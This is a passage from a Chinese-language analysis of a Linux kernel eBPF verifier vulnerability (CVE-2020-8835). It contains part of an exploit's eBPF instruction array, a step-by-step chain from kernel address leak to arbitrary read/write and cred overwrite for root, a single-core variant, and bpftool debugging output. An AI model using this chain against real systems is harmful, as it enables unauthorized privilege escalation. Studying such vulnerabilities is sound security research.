BPF_ALU64_IMM(BPF_ADD,BPF_REG_0,0x50), // r0 = &exp_map[0],计算前r0和r7的值相同,但为什么用r0计算,因为r0是map中的数据,而r7是指针,不能往map中写指针
// &ctrl[0]+0x8 -> op
BPF_LDX_MEM(BPF_DW,BPF_REG_8,BPF_REG_6,0x8), // r8 = op
BPF_JMP_IMM(BPF_JNE, BPF_REG_8, 1, 4),
BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0), // r7=&exp_value[0]-0x110,即&exp_map[0]
BPF_ST_MEM(BPF_W,BPF_REG_7,0x18,BPF_MAP_TYPE_STACK),//map type
BPF_ST_MEM(BPF_W,BPF_REG_7,0x24,-1),// max_entries
BPF_ST_MEM(BPF_W,BPF_REG_7,0x2c,0x0), //lock_off
BPF_MOV64_IMM(BPF_REG_0,0x0),
BPF_EXIT_INSN(),
};
利用的整体思路:
- 通过漏洞,使得传进来的偏移r8检查时为0,而实际为0x110
- 将&exp_value[0]-0x110,获得exp_map的地址,exp_map[0] 保存着array_map_ops的地址,可以用于泄露内核地址
- &exp_value[0]-0x110+0xc0(wait_list)处保存着指向自身的地址,用于泄露exp_value的地址
- 利用任意读查找init_pid_ns结构地址
- 利用进程pid和init_pid_ns结构地址获取当前进程的task_struct
- 在exp_value上填充伪造的array_map_ops
- 修改 map 的一些字段绕过一些检查
- 调用 bpf_update_elem任意写内存
- 修改进程task_struct 的cred进行提权。
多核提权
单核提权
针对单核机器,可以通过per_cpu_offset + current_task来查找当前进程的task_struct,通过任意读获取task_struct的comm字段,匹配是否为你运行的进程。该方法适用于单核机器,并且有一定概率会crash。
四、调试技巧
编译选项:打开内核的debug info
,编辑.config
打开所有BPF_***
,打开CONFIG_BPF_SYSCALL
。
调试:主要调试的代码位于kernel/bpf/verifier.c
中,可以根据源代码,利用b kernel/bpf/verifier.c:行数
的方式下断点。
打印内核中载入的eBPF程序:可以将内核源码复制到镜像中,然后在虚拟机中进入tools/bpf/bpftool
目录下,执行make
,编译出bpftool
。
# ./bpftool p s会显示出内核中载入的eBPF程序的id等信息
$ ./bpftool p s
5: socket_filter tag 31bce63e92f471c4 gpl
loaded_at 2020-04-17T03:31:44+0000 uid 1000
xlated 88B jited 89B memlock 4096B
# ./bpftool p d x i id可以打印出具体的eBPF程序
$ ./bpftool p d x i 5
0: (b7) r0 = 808464432
1: (7f) r0 >>= r0
2: (14) w0 -= 808464432
3: (07) r0 += 808464432
4: (b7) r1 = 808464432
5: (de) if w1 s<= w0 goto pc+0
6: (07) r0 += -2144337872
7: (14) w0 -= -1607454672
8: (76) if w0 s>= 0x303030 goto pc+1
9: (05) goto pc-1
10: (95) exit
参考:
先知社区de4dcr0w—— CVE-2020-8835 pwn2own 2020 ebpf 通过任意读写提权分析
安全客——CVE-2020-8835:Linux eBPF模块verifier组件漏洞分析
安全客rtfingc——https://www.anquanke.com/post/id/203416